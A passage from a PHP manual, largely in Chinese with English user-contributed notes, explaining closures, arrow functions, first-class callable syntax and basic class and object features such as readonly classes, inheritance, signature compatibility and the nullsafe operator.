 * Remove mock authorisation, call the service; should get 'Access Denied'.
 */
$_SESSION['is_authorised'] = false;
$service('test 2');

?>
orls 08-Aug-2010 06:53
Watch out when 'importing' variables to a closure's scope  -- it's easy to miss / forget that they are actually being *copied* into the closure's scope, rather than just being made available.

So you will need to explicitly pass them in by reference if your closure cares about their contents over time:

<?php
$result = 0;

$one = function()
{ var_dump($result); };

$two = function() use ($result)
{ var_dump($result); };

$three = function() use (&$result)
{ var_dump($result); };

$result++;

$one();    // outputs NULL: $result is not in scope
$two();    // outputs int(0): $result was copied
$three();    // outputs int(1)
?>

Another less trivial example with objects (what I actually tripped up on):

<?php
//set up variable in advance
$myInstance = null;

$broken = function() uses ($myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
};

$working = function() uses (&$myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
}

//$myInstance might be instantiated, might not be
if(SomeBusinessLogic::worked() == true)
{
    $myInstance = new myClass();
}

$broken();    // will never do anything: $myInstance will ALWAYS be null inside this closure.
$working();    // will call doSomething if $myInstance is instantiated

?>
gabriel dot totoliciu at ddsec dot net 19-Jul-2010 10:56
If you want to make a recursive closure, you will need to write this:

$some_var1="1";
$some_var2="2";

function($param1, $param2) use ($some_var1, $some_var2)
{

//some code here

call_user_func(__FUNCTION__, $other_param1, $other_param2);

//some code here

}

If you need to pass values by reference you should check out

http://www.php.net/manual/en/function.call-user-func.php
http://www.php.net/manual/en/function.call-user-func-array.php

If you're wondering if $some_var1 and $some_var2 are still visible by using the call_user_func, yes, they are available.
kdelux at gmail dot com 14-May-2010 08:55
Here is an example of one way to define, then use the variable ( $this ) in Closure functions.  The code below explores all uses, and shows restrictions.

The most useful tool in this snippet is the requesting_class() function that will tell you which class is responsible for executing the current Closure().

Overview:
-----------------------
Successfully find calling object reference.
Successfully call $this(__invoke);
Successfully reference $$this->name;
Successfully call call_user_func(array($this, 'method'))

Failure: reference anything through $this->
Failure: $this->name = '';
Failure: $this->delfect();

<?php

    function requesting_class()
    {
        foreach(debug_backtrace(true) as $stack){
            if(isset($stack['object'])){
                return $stack['object'];
            }
        }

    }

    class Person
    {
        public $name = '';
        public $head = true;
        public $feet = true;
        public $deflected = false;

        function __invoke($p){ return $this->$p; }
        function __toString(){ return 'this'; } // test for reference

        function __construct($name){ $this->name = $name; }
        function deflect(){ $this->deflected = true; }

        public function shoot()
        { // If customAttack is defined, use that as the shoot resut.  Otherwise shoot feet
            if(is_callable($this->customAttack)){
                return call_user_func($this->customAttack);
            }

            $this->feet = false;
        }
    }

    $p = new Person('Bob');

    $p->customAttack =
                function(){

                    echo $this; // Notice: Undefined variable: this

                    #$this = new Class() // FATAL ERROR

                    // Trick to assign the variable '$this'
                    extract(array('this' => requesting_class())); // Determine what class is responsible for making the call to Closure

                    var_dump( $this  );  // Passive reference works
                    var_dump( $$this ); // Added to class:  function __toString(){ return 'this'; }

                    $name = $this('name'); // Success
                    echo $name;            // Outputs: Bob
                    echo '<br />';
                    echo $$this->name;

                    call_user_func_array(array($this, 'deflect'), array()); // SUCCESSFULLY CALLED

                    #$this->head = 0; //** FATAL ERROR: Using $this when not in object context
                    $$this->head = 0;  // Successfully sets value

                };

    print_r($p);

    $p->shoot();

    print_r($p);

    die();

?>
rob at ubrio dot us 25-Nov-2009 10:20
You can always call protected members using the __call() method - similar to how you hack around this in Ruby using send.

<?php

class Fun
{
 protected function debug($message)
 {
   echo "DEBUG: $message\n";
 }

 public function yield_something($callback)
 {
   return $callback("Soemthing!!");
 }

 public function having_fun()
 {
   $self =& $this;
   return $this->yield_something(function($data) use (&$self)
   {
     $self->debug("Doing stuff to the data");
     // do something with $data
     $self->debug("Finished doing stuff with the data.");
   });
 }

 // Ah-Ha!
 public function __call($method, $args = array())
 {
   if(is_callable(array($this, $method)))
     return call_user_func_array(array($this, $method), $args);
 }
}

$fun = new Fun();
echo $fun->having_fun();

?>
Anonymous 03-Aug-2009 02:50
If you want to check whether you're dealing with a closure specifically and not a string or array callback you can do this:

<?php
$isAClosure = is_callable($thing) && is_object($thing);
?>
a dot schaffhirt at sedna-soft dot de 19-Jun-2009 02:55
When using anonymous functions as properties in Classes, note that there are three name scopes: one for constants, one for properties and one for methods. That means, you can use the same name for a constant, for a property and for a method at a time.

Since a property can be also an anonymous function as of PHP 5.3.0, an oddity arises when they share the same name, not meaning that there would be any conflict.

Consider the following example:

<?php
    class MyClass {
        const member = 1;

        public $member;

        public function member () {
            return "method 'member'";
        }

        public function __construct () {
            $this->member = function () {
                return "anonymous function 'member'";
            };
        }
    }

    header("Content-Type: text/plain");

    $myObj = new MyClass();

    var_dump(MyClass::member);  // int(1)
    var_dump($myObj->member);   // object(Closure)#2 (0) {}
    var_dump($myObj->member()); // string(15) "method 'member'"
    $myMember = $myObj->member;
    var_dump($myMember());      // string(27) "anonymous function 'member'"
?>

That means, regular method invocations work like expected and like before. The anonymous function instead, must be retrieved into a variable first (just like a property) and can only then be invoked.

Best regards,


箭头函数

箭头函数是 PHP 7.4 的新语法，是一种更简洁的 匿名函数 写法。

匿名函数和箭头函数都是 Closure 类的实现。

箭头函数的基本语法为 fn (argument_list) => expr。

箭头函数支持与 匿名函数 相同的功能，只是其父作用域的变量总是自动的。

当表达式中使用的变量是在父作用域中定义的，它将被隐式地按值捕获。在下面的例子中，函数 $fn1 和 $fn2 的行为是一样的。

Example #1 箭头函数自动捕捉变量的值

<?php

$y = 1;

$fn1 = fn($x) => $x + $y;
// 相当于通过 value 使用 $y：
$fn2 = function ($x) use ($y) {
return $x + $y;
};

var_export($fn1(3));
?>

以上示例会输出：

4

在箭头函数嵌套的情况下同样有效。

Example #2 箭头函数自动捕捉变量的值，即使在嵌套的情况下

<?php

$z = 1;
$fn = fn($x) => fn($y) => $x * $y + $z;
// 输出 51
var_export($fn(5)(10));
?>

和匿名函数一样，箭头函数语法同样允许标准的函数声明，包括参数和返回类型、缺省值、变量，以及通过引用传递和返回。以下都是箭头函数的有效例子。

Example #3 合法的箭头函数例子

<?php

fn(array $x) => $x;
static fn(): int => $x;
fn($x = 42) => $x;
fn(&$x) => $x;
fn&($x) => $x;
fn($x, ...$rest) => $rest;

?>

箭头函数会自动绑定上下文变量，这相当于对箭头函数内部使用的每一个变量 $x 执行了一个 use($x)。这意味着不可能修改外部作用域的任何值，若要实现对值的修改，可以使用 匿名函数 来替代。

Example #4 来自外部范围的值不能在箭头函数内修改

<?php

$x = 1;
$fn = fn() => $x++; // 不会影响 x 的值
$fn();
var_export($x); // 输出 1

?>

更新日志

版本 | 说明
7.4.0 | 新增箭头函数语法。

注释

Note: 可以对箭头函数使用 func_num_args(), func_get_arg(), 和 func_get_args() 函数。

User Contributed Notes

itsunclexo at gmail dot com 04-Apr-2021 10:13
As you already know, variable bindings occur in arrow functions by "by-value".  That means, an arrow function returns a copy of the value of the variable used in it from the outer scope.

Now let us see an example of how a arrow function returns a reference instead of a copy of a value.

<?php

$x = 0;

$fn = fn &(&$x) => $x;  // Returns a reference

$y = &$fn($x);  // Now $y represents the reference

var_dump($y);  // Outputs: 0

$y = 3;  // Changing value of $y affects $x

var_dump($x);  // Ouputs: 3

?>
InvisibleSmiley 12-Jan-2021 08:07
Unlike anonymous functions, arrow functions cannot have a void return type declaration.

May seem obvious, but if you thought you could make use of the benefits of arrow functions (using variables from the parent scope) to simplify a function or method call, keep in mind that this is only possible if you do NOT tell PHP that the arrow function does indeed return void.
zhangchengming at kkguan dot com 14-Dec-2020 08:00
<?php

$x = 1;

(fn() => print($x))(); // Outputs 1

(fn($x) => print($x))(2); // Outputs 2
dexen dot devries at gmail dot com 03-Aug-2020 07:39
Beware compact() not being able to access (import) variables from external scope (known in versions: 7.4.0, 7.4.8) (bug: https://bugs.php.net/bug.php?id=78970).

A workaround is available - use the variable directly; this will cause it to be imported into the arrow function's namespace and make it available to the compact() too.

<?php
$aa = 111;
$accessing_variable_works = fn($bb) => [ $aa, $bb ];
$compact_is_broken = fn($bb) => compact('aa', 'bb');
$compact_can_work_with_workaround = fn($bb) => compact('aa', 'bb') + ['workaround' => $aa];
var_dump($accessing_variable_works(333));
var_dump($compact_is_broken(555));
var_dump($compact_can_work_with_workaround(777));
?>

result:
array(2) {
  [0]=>
  int(111)
  [1]=>
  int(333)
}
PHP Notice:  compact(): Undefined variable: aa in /home/m/vlt/guitar/tlb/s/public_html/index.php on line 9
array(1) {
  ["bb"]=>
  int(555)
}
array(3) {
  ["aa"]=>
  int(111)
  ["bb"]=>
  int(777)
  ["workaround"]=>
  int(111)
}
Koushil Mankali 27-Jul-2020 06:58
In example 4  (Values from the outer scope cannot be modified by arrow functions)

<?php

$x = 1;
$fn = fn() => $x++; // Has no effect
$fn();
var_export($x);  // Outputs 1

?>

Here we can use reference variable in fn(&$x) and pass the value from function call $fn($x) so that we will get the output as expected with out using Anonymous functions.

Example:

<?php

$x = 1;
$fn = fn(&$x) => $x++;
$fn($x);
var_export($x);

?>

Output : 2 (as expected)

But here it will not take values from parent scope automatically but we have to pass them explicitly.


First class callable syntax

The first class callable syntax is introduced as of PHP 8.1.0, as a way of creating anonymous functions from callable. It supersedes existing callable syntax using strings and arrays. The advantage of this syntax is that it is accessible to static analysis, and uses the scope at the point where the callable is acquired.

CallableExpr(...) syntax is used to create a Closure object from callable. CallableExpr accepts any expression that can be directly called in the PHP grammar:

Example #1 Simple first class callable syntax

<?php
class Foo {
public function method() {}
public static function staticmethod() {}
public function __invoke() {}
}
$obj = new Foo();
$classStr = 'Foo';
$methodStr = 'method';
$staticmethodStr = 'staticmethod';
$f1 = strlen(...);
$f2 = $obj(...); // invokable object
$f3 = $obj->method(...);
$f4 = $obj->$methodStr(...);
$f5 = Foo::staticmethod(...);
$f6 = $classStr::$staticmethodStr(...);
// traditional callable using string, array
$f7 = 'strlen'(...);
$f8 = [$obj, 'method'](...);
$f9 = [Foo::class, 'staticmethod'](...);
?>

Note:

The ... is part of the syntax, and not an omission.

CallableExpr(...) has the same semantics as Closure::fromCallable(). That is, unlike callable using strings and arrays, CallableExpr(...) respects the scope at the point where it is created:

Example #2 Scope comparison of CallableExpr(...) and traditional callable

<?php
class Foo {
public function getPrivateMethod() {
return [$this, 'privateMethod'];
}
private function privateMethod() {
echo __METHOD__, "\n";
}
}
$foo = new Foo;
$privateMethod = $foo->getPrivateMethod();
$privateMethod();
// Fatal error: Call to private method Foo::privateMethod() from global scope
// This is because call is performed outside from Foo and visibility will be checked from this point.
class Foo1 {
public function getPrivateMethod() {
// Uses the scope where the callable is acquired.
return $this->privateMethod(...); // identical to Closure::fromCallable([$this, 'privateMethod']);
}
private function privateMethod() {
echo __METHOD__, "\n";
}
}
$foo1 = new Foo1;
$privateMethod = $foo1->getPrivateMethod();
$privateMethod(); // Foo1::privateMethod
?>

Note:

Object creation by this syntax (e.g new Foo(...)) is not supported, because new Foo() syntax is not considered a call.

Note:

The first-class callable syntax cannot be combined with the nullsafe operator. Both of the following result in a compile-time error:

<?php
$obj?->method(...);
$obj?->prop->method(...);
?>

User Contributed Notes

bienvenunet at yahoo dot com 06-Jun-2023 03:53
There's a major gotcha with this syntax that may not be apparent until you use this syntax and find you're getting "Cannot rebind scope of closure created from method" exceptions in some random library code.

As the documentation indicates, the first-class callable uses the scope at the point where the callable is acquired. This is fine as long as nothing in your code will attempt to bind the callable with the \Closure::bindTo method.

I found this the hard way by changing callables going to Laravel's Macroable functionality from the array style to the first-class callable style. The Macroable functionality \Closure::bindTo calls on the callable.

AFAIK, the only workaround is to use the uglier array syntax.


类与对象

Table of Contents

  • 简介
  • 基本概念
  • 属性
  • 类常量
  • 类的自动加载
  • 构造函数和析构函数
  • 访问控制（可见性）
  • 对象继承
  • 范围解析操作符 （::）
  • 静态（static）关键字
  • 抽象类
  • 对象接口
  • Trait
  • 匿名类
  • 重载
  • 遍历对象
  • 魔术方法
  • Final 关键字
  • 对象复制
  • 对象比较
  • 后期静态绑定
  • 对象和引用
  • 对象序列化
  • 协变与逆变
  • OOP 变更日志

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 具有完整的对象模型。特性包括： 访问控制，抽象类和 final 类与方法，附加的魔术方法，接口，对象复制。

PHP 对待对象的方式等同于引用或句柄，即每个变量都持有对象的引用，而不是整个对象的复制。参见 对象和引用。

Tip

请参见用户空间命名指南。

User Contributed Notes

There are no user contributed notes for this page.


基本概念

class

每个类的定义都以关键字 class 开头，后面跟着类名，后面跟着一对花括号，里面包含有类的属性与方法的定义。

类名可以是任何非 PHP 保留字 的合法标签。一个合法类名以字母或下划线开头，后面跟着若干字母，数字或下划线。以正则表达式表示为： ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$。

一个类可以包含有属于自己的 常量，变量（称为"属性"）以及函数（称为"方法"）。

Example #1 简单的类定义

<?php
class SimpleClass
{
// 声明属性
public $var = 'a default value';

// 声明方法
public function displayVar() {
echo $this->var;
}
}
?>

当一个方法在类定义内部被调用时，有一个可用的伪变量 $this。$this 是一个到当前对象的引用。

Warning

以静态方式去调用一个非静态方法，将会抛出一个 Error。 在 PHP 8.0.0 之前版本中，将会产生一个废弃通知，同时 $this 将会被声明为未定义。

Example #2 使用 $this 伪变量的示例

<?php
class A
{
function foo()
{
if (isset($this)) {
echo '$this is defined (';
echo get_class($this);
echo ")\n";
} else {
echo "\$this is not defined.\n";
}
}
}

class B
{
function bar()
{
A::foo();
}
}

$a = new A();
$a->foo();

A::foo();

$b = new B();
$b->bar();

B::bar();
?>

以上示例在 PHP 7 中的输出：

$this is defined (A)

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 27
$this is not defined.

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this is not defined.

Deprecated: Non-static method B::bar() should not be called statically in %s  on line 32

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this is not defined.

以上示例在 PHP 8 中的输出：

$this is defined (A)

Fatal error: Uncaught Error: Non-static method A::foo() cannot be called statically in %s :27
Stack trace:
#0 {main}
  thrown in %s  on line 27

只读类

自 PHP 8.2.0 起，可以使用 readonly 修饰符来标记类。将类标记为 readonly 只会向每个声明的属性添加 readonly 修饰符并禁止创建动态属性。此外，不能通过使用 AllowDynamicProperties 注解来添加对后者的支持。尝试这样做会触发编译错误。

<?php
#[\AllowDynamicProperties]
readonly class Foo {
}

// Fatal error: Cannot apply #[AllowDynamicProperties] to readonly class Foo
?>

由于无类型的属性和静态属性不能用 readonly 修饰符，所以 readonly 也不会对其声明：

<?php
readonly class Foo
{
public $bar;
}

// Fatal error: Readonly property Foo::$bar must have type
?>
<?php
readonly class Foo
{
public static int $bar;
}

// Fatal error: Readonly class Foo cannot declare static properties
?>

仅当子类也是 readonly 类时，才可以继承 readonly 类。

new

要创建一个类的实例，必须使用 new 关键字。当创建新对象时该对象总是被赋值，除非该对象定义了 构造函数 并且在出错时抛出了一个 异常。类应在被实例化之前定义（某些情况下则必须这样）。

如果在 new 之后跟着的是一个包含有类名的字符串 string，则该类的一个实例被创建。如果该类属于一个命名空间，则必须使用其完整名称。

Note:

如果没有参数要传递给类的构造函数，类名后的括号则可以省略掉。

Example #3 创建实例

<?php
$instance = new SimpleClass();

// 也可以这样做：
$className = 'SimpleClass';
$instance = new $className(); // new SimpleClass()
?>

PHP 8.0.0 起，支持任意表达式中使用 new。如果表达式生成一个 string，这将允许更复杂的实例化。表达式必须使用括号括起来。

Example #4 使用任意表达式创建实例

在下列示例中，我们展示了多个生成类名的任意有效表达式的示例。展示了函数调用，string 连接和 ::class 常量。

<?php

class ClassA extends \stdClass {}
class ClassB extends \stdClass {}
class ClassC extends ClassB {}
class ClassD extends ClassA {}

function getSomeClass(): string
{
return 'ClassA';
}

var_dump(new (getSomeClass()));
var_dump(new ('Class' . 'B'));
var_dump(new ('Class' . 'C'));
var_dump(new (ClassD::class));
?>

以上示例在 PHP 8 中的输出：

object(ClassA)#1 (0) {
}
object(ClassB)#1 (0) {
}
object(ClassC)#1 (0) {
}
object(ClassD)#1 (0) {
}

在类定义内部，可以用 new self 和 new parent 创建新对象。

当把一个对象已经创建的实例赋给一个新变量时，新变量会访问同一个实例，就和用该对象赋值一样。此行为和给函数传递入实例时一样。可以用 克隆 给一个已创建的对象建立一个新实例。

Example #5 对象赋值

<?php

$instance = new SimpleClass();

$assigned = $instance;
$reference =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance 和 $reference 变为 null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

以上示例会输出：

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned will have this value"
}

有几种方法可以创建一个对象的实例。

Example #6 创建新对象

<?php
class Test
{
static public function getNew()
{
return new static;
}
}

class Child extends Test
{}

$obj1 = new Test();
$obj2 = new $obj1;
var_dump($obj1 !== $obj2);

$obj3 = Test::getNew();
var_dump($obj3 instanceof Test);

$obj4 = Child::getNew();
var_dump($obj4 instanceof Child);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)

可以通过一个表达式来访问新创建对象的成员：

Example #7 访问新创建对象的成员

<?php
echo (new DateTime())->format('Y');
?>

以上示例的输出类似于：

2016

Note: 在 PHP 7.1 之前，如果类没有定义构造函数，则不对参数进行执行。

属性和方法

类的属性和方法存在于不同的"命名空间"中，这意味着同一个类的属性和方法可以使用同样的名字。 在类中访问属性和调用方法使用同样的操作符，具体是访问一个属性还是调用一个方法，取决于你的上下文，即用法是变量访问还是函数调用。

Example #8 访问类属性 vs. 调用类方法

<?php
class Foo
{
public $bar = 'property';

public function bar() {
return 'method';
}
}

$obj = new Foo();
echo $obj->bar, PHP_EOL, $obj->bar(), PHP_EOL;

以上示例会输出：

property
method

这意味着，如果你的类属性被分配给一个 匿名函数 你将无法直接调用它。因为访问类属性的优先级要更高，在此场景下需要用括号包裹起来调用。

Example #9 类属性被赋值为匿名函数时的调用示例

<?php
class Foo
{
public $bar;

public function __construct() {
$this->bar = function() {
return 42;
};
}
}

$obj = new Foo();

echo ($obj->bar)(), PHP_EOL;

以上示例会输出：

42

extends

一个类可以在声明中用 extends 关键字继承另一个类的方法和属性。PHP 不支持多重继承，一个类只能继承一个基类。

被继承的方法和属性可以通过用同样的名字重新声明被覆盖。但是如果父类定义方法或者常量时使用了 final，则不可被覆盖。可以通过 parent:: 来访问被覆盖的方法或属性。

Note: 从 PHP 8.1.0 起，常量可以声明为 final。

Example #10 简单的类继承

<?php
class ExtendClass extends SimpleClass
{
// 同样名称的方法，将会覆盖父类的方法
function displayVar()
{
echo "Extending class\n";
parent::displayVar();
}
}

$extended = new ExtendClass();
$extended->displayVar();
?>

以上示例会输出：

Extending class
a default value

签名兼容性规则

当覆盖（override）方法时，签名必须兼容父类方法。否则会导致 Fatal 错误，PHP 8.0.0 之前是 E_WARNING 级错误。 兼容签名是指：遵守协变与逆变规则；强制参数可以改为可选参数；添加的新参数只能是可选；放宽可见性而不是继续限制。这就是著名的里氏替换原则（Liskov Substitution Principle），简称 LSP。不过构造方法和私有（private）方法不需要遵循签名兼容规则，哪怕签名不匹配也不会导致 Fatal 错误。

Example #11 兼容子类方法

<?php

class Base
{
public function foo(int $a) {
echo "Valid\n";
}
}

class Extend1 extends Base
{
function foo(int $a = 5)
{
parent::foo($a);
}
}

class Extend2 extends Base
{
function foo(int $a, $b = 5)
{
parent::foo($a);
}
}

$extended1 = new Extend1();
$extended1->foo();
$extended2 = new Extend2();
$extended2->foo(1);

以上示例会输出：

Valid
Valid

下面演示子类与父类方法不兼容的例子：通过移除参数、修改可选参数为必填参数。

Example #12 子类方法移除参数后，导致 Fatal 错误

<?php

class Base
{
public function foo(int $a = 5) {
echo "Valid\n";
}
}

class Extend extends Base
{
function foo()
{
parent::foo(1);
}
}

以上示例在 PHP 8 中的输出类似于：

Fatal error: Declaration of Extend::foo() must be compatible with Base::foo(int $a = 5) in /in/evtlq on line 13

Example #13 子类方法把可选参数改成强制参数，导致 Fatal 错误

<?php

class Base
{
public function foo(int $a = 5) {
echo "Valid\n";
}
}

class Extend extends Base
{
function foo(int $a)
{
parent::foo($a);
}
}

以上示例在 PHP 8 中的输出类似于：

Fatal error: Declaration of Extend::foo(int $a) must be compatible with Base::foo(int $a = 5) in /in/qJXVC on line 13
Warning

重命名子类方法的参数名称也是签名兼容的。 然而我们不建议这样做，因为使用命名参数时， 这种做法会导致运行时的 Error。

Example #14 在子类中重命一个命名参数，导致 Error

<?php

class A {
public function test($foo, $bar) {}
}

class B extends A {
public function test($a, $b) {}
}

$obj = new B;

// 按 A::test() 的签名约定传入参数
$obj->test(foo: "foo", bar: "bar"); // ERROR!

以上示例的输出类似于：

Fatal error: Uncaught Error: Unknown named parameter $foo in /in/XaaeN:14
Stack trace:
#0 {main}
  thrown in /in/XaaeN on line 14

::class

关键词 class 也可用于类名的解析。使用 ClassName::class 可以获取包含类 ClassName 的完全限定名称。这对使用了 命名空间 的类尤其有用。

Example #15 类名的解析

<?php
namespace NS {
class ClassName {
}

echo ClassName::class;
}
?>

以上示例会输出：

NS\ClassName

Note:

使用 ::class 解析类名操作会在底层编译时进行。这意味着在执行该操作时，类还没有被加载。 因此，即使要调用的类不存在，类名也会被展示。在此种场景下，并不会发生错误。

Example #16 解析不存在的类名

<?php
print Does\Not\Exist::class;
?>

以上示例会输出：

Does\Not\Exist

自 PHP 8.0.0 起，::class 也可用于对象。 与上述情况不同，此时解析将会在运行时进行。此操作的运行结果和在对象上调用 get_class() 相同。

Example #17 类名解析

<?php
namespace NS {
class ClassName {
}
}
$c = new ClassName();
print $c::class;
?>

以上示例会输出：

NS\ClassName

Nullsafe 方法和属性

自 PHP 8.0.0 起，类属性和方法可以通过 "nullsafe" 操作符访问： ?->。 除了一处不同，nullsafe 操作符和以上原来的属性、方法访问是一致的： 对象引用解析（dereference）为 null 时不抛出异常，而是返回 null。 并且如果是链式调用中的一部分，剩余链条会直接跳过。

此操作的结果，类似于在每次访问前使用 is_null() 函数判断方法和属性是否存在，但更加简洁。

Example #18 Nullsafe 操作符

<?php

// 自 PHP 8.0.0 起可用
$result = $repository?->getUser(5)?->name;

// 上边那行代码等价于以下代码
if (is_null($repository)) {
$result = null;
} else {
$user = $repository->getUser(5);
if (is_null($user)) {
$result = null;
} else {
$result = $user->name;
}
}
?>

Note:

仅当 null 被认为是属性或方法返回的有效和预期的可能值时，才推荐使用 nullsafe 操作符。如果业务中需要明确指示错误，抛出异常会是更好的处理方式。

User Contributed Notes

pawel dot zimnowodzki at gmail dot com 26-May-2022 11:28
Although there is no null-safe operator for not existed array keys I found workaround for it: ($array['not_existed_key'] ?? null)?->methodName()
johannes dot kingma at gmail dot com 25-Nov-2021 11:29
BEWARE!

Like Hayley Watson pointed out class names are not case sensitive.

<?php
class Foo{}
class foo{} // Fatal error: Cannot declare class foo, because the name is already in use
?>
As well as
<?php
class BAR{}
$bar = new Bar();
echo get_class($bar);
?>

Is perfectly fine and will return 'BAR'.

This has implications on autoloading classes though. The standard spl_autoload function will strtolower the class name to cope with case in-sensitiveness and thus the class BAR can only be found if the file name is bar.php (or another variety if an extension was registered with spl_autoload_extensions(); ) not BAR.php for a case sensitive file and operating system like linux. Windows file system is case sensitive but the OS is not  and there for autoloading BAR.php will work.
Anonymous 15-Jun-2018 05:05
At first I was also confused by the assignment vs referencing but here's how I was finally able to get my head around it. This is another example which is somewhat similar to one of the comments but can be helpful to those who did not understand the first example. Imagine object instances as rooms where you can store and manipulate your properties and functions.  The variable that contains the object simply holds 'a key' to this room and thus access to the object. When you assign this variable to another new variable, what you are doing is you're making a copy of the key and giving it to this new variable. That means these two variable now have access to the same 'room' (object) and can thus get in and manipulate the values. However, when you create a reference, what you doing is you're making the variables SHARE the same key. They both have access to the room. If one of the variable is given a new key, then the key that they are sharing is replaced and they now share a new different key. This does not affect the other variable with a copy of the old key...that variable still has access to the first room
Hayley Watson 21-Jan-2018 10:52
Class names are case-insensitive:
<?php
class Foo{}
class foo{} //Fatal error.
?>

Any casing can be used to refer to the class
<?php
class bAr{}
$t = new Bar();
$u = new bar();
echo ($t instanceof $u) ? "true" : "false"; // "true"
echo ($t instanceof BAR) ? "true" : "false"; // "true"
echo is_a($u, 'baR') ? "true" : "false"; // "true"
?>

But the case used when the class was defined is preserved as "canonical":
<?php
echo get_class($t); // "bAr"
?>

And, as always, "case-insensitivity" only applies to ASCII.
<?php
class пасха{}
class Пасха{} // valid
$p = new ПАСХА(); // Uncaught warning.
?>
kStarbe at gmail point com 30-Mar-2017 07:36
You start using :: in second example although the static concept has not been explained. This is not easy to discover when you are starting from the basics.
Doug 07-Oct-2010 07:29
What is the difference between  $this  and  self ?

Inside a class definition, $this refers to the current object, while  self  refers to the current class.

It is necessary to refer to a class element using  self ,
and refer to an object element using  $this .
Note also how an object variable must be preceded by a keyword in its definition.

The following example illustrates a few cases:

<?php
class Classy {

const       STAT = 'S' ; // no dollar sign for constants (they are always static)
static     $stat = 'Static' ;
public     $publ = 'Public' ;
private    $priv = 'Private' ;
protected  $prot = 'Protected' ;

function __construct( ){  }

public function showMe( ){
    print '<br> self::STAT: '  .  self::STAT ; // refer to a (static) constant like this
    print '<br> self::$stat: ' . self::$stat ; // static variable
    print '<br>$this->stat: '  . $this->stat ; // legal, but not what you might think: empty result
    print '<br>$this->publ: '  . $this->publ ; // refer to an object variable like this
    print '<br>' ;
}
}
$me = new Classy( ) ;
$me->showMe( ) ;

/* Produces this output:
self::STAT: S
self::$stat: Static
$this->stat:
$this->publ: Public
*/
?>
moty66 at gmail dot com 16-Aug-2009 07:59
I hope that this will help to understand how to work with static variables inside a class

<?php

class a {

    public static $foo = 'I am foo';
    public $bar = 'I am bar';

    public static function getFoo() { echo self::$foo;    }
    public static function setFoo() { self::$foo = 'I am a new foo'; }
    public function getBar() { echo $this->bar;    }
}

$ob = new a();
a::getFoo();     // output: I am foo
$ob->getFoo();    // output: I am foo
//a::getBar();     // fatal error: using $this not in object context
$ob->getBar();    // output: I am bar
                // If you keep $bar non static this will work
                // but if bar was static, then var_dump($this->bar) will output null

// unset($ob);
a::setFoo();    // The same effect as if you called $ob->setFoo(); because $foo is static
$ob = new a();     // This will have no effects on $foo
$ob->getFoo();    // output: I am a new foo

?>

Regards
Motaz Abuthiab
Notes on stdClass 09-Jul-2009 03:26
stdClass is the default PHP object. stdClass has no properties, methods or parent. It does not support magic methods, and implements no interfaces.

When you cast a scalar or array as Object, you get an instance of stdClass. You can use stdClass whenever you need a generic object instance.
<?php
// ways of creating stdClass instances
$x = new stdClass;
$y = (object) null;        // same as above
$z = (object) 'a';         // creates property 'scalar' = 'a'
$a = (object) array('property1' => 1, 'property2' => 'b');
?>

stdClass is NOT a base class! PHP classes do not automatically inherit from any class. All classes are standalone, unless they explicitly extend another class. PHP differs from many object-oriented languages in this respect.
<?php
// CTest does not derive from stdClass
class CTest {
    public $property1;
}
$t = new CTest;
var_dump($t instanceof stdClass);            // false
var_dump(is_subclass_of($t, 'stdClass'));    // false
echo get_class($t) . "\n";                   // 'CTest'
echo get_parent_class($t) . "\n";            // false (no parent)
?>

You cannot define a class named 'stdClass' in your code. That name is already used by the system. You can define a class named 'Object'.

You could define a class that extends stdClass, but you would get no benefit, as stdClass does nothing.

(tested on PHP 5.2.8)
Jeffrey 08-Oct-2008 03:49
A PHP Class can be used for several things, but at the most basic level, you'll use classes to "organize and deal with like-minded data". Here's what I mean by "organizing like-minded data". First, start with unorganized data.

<?php
$customer_name;
$item_name;
$item_price;
$customer_address;
$item_qty;
$item_total;
?>

Now to organize the data into PHP classes:

<?php
class Customer {
  $name;          // same as $customer_name
  $address;       // same as $customer_address
}

class Item {
  $name;          // same as $item_name
  $price;         // same as $item_price
  $qty;           // same as $item_qty
  $total;         // same as $item_total
}
?>

Now here's what I mean by "dealing" with the data. Note: The data is already organized, so that in itself makes writing new functions extremely easy.

<?php
class Customer {
  public $name, $address;                   // the data for this class...

  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}

class Item {
  public $name, $price, $qty, $total;        // the data for this class...

  // function to calculate total
  // function to format numbers
  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}
?>

Imagination that each function you write only calls the bits of data in that class. Some functions may access all the data, while other functions may only access one piece of data. If each function revolves around the data inside, then you have created a good class.
wbcarts at juno dot com 20-Aug-2008 06:11
CLASSES and OBJECTS that represent the "Ideal World"

Wouldn't it be great to get the lawn mowed by saying $son->mowLawn()? Assuming the function mowLawn() is defined, and you have a son that doesn't throw errors, the lawn will be mowed.

In the following example; let objects of type Line3D measure their own length in 3-dimensional space. Why should I or PHP have to provide another method from outside this class to calculate length, when the class itself holds all the neccessary data and has the education to make the calculation for itself?

<?php

/*
 * Point3D.php
 *
 * Represents one locaton or position in 3-dimensional space
 * using an (x, y, z) coordinate system.
 */
class Point3D
{
    public $x;
    public $y;
    public $z;                  // the x coordinate of this Point.

    /*
     * use the x and y variables inherited from Point.php.
     */
    public function __construct($xCoord=0, $yCoord=0, $zCoord=0)
    {
        $this->x = $xCoord;
    $this->y = $yCoord;
        $this->z = $zCoord;
    }

    /*
     * the (String) representation of this Point as "Point3D(x, y, z)".
     */
    public function __toString()
    {
        return 'Point3D(x=' . $this->x . ', y=' . $this->y . ', z=' . $this->z . ')';
    }
}

/*
 * Line3D.php
 *
 * Represents one Line in 3-dimensional space using two Point3D objects.
 */
class Line3D
{
    $start;
    $end;

    public function __construct($xCoord1=0, $yCoord1=0, $zCoord1=0, $xCoord2=1, $yCoord2=1, $zCoord2=1)
    {
        $this->start = new Point3D($xCoord1, $yCoord1, $zCoord1);
        $this->end = new Point3D($xCoord2, $yCoord2, $zCoord2);
    }

    /*
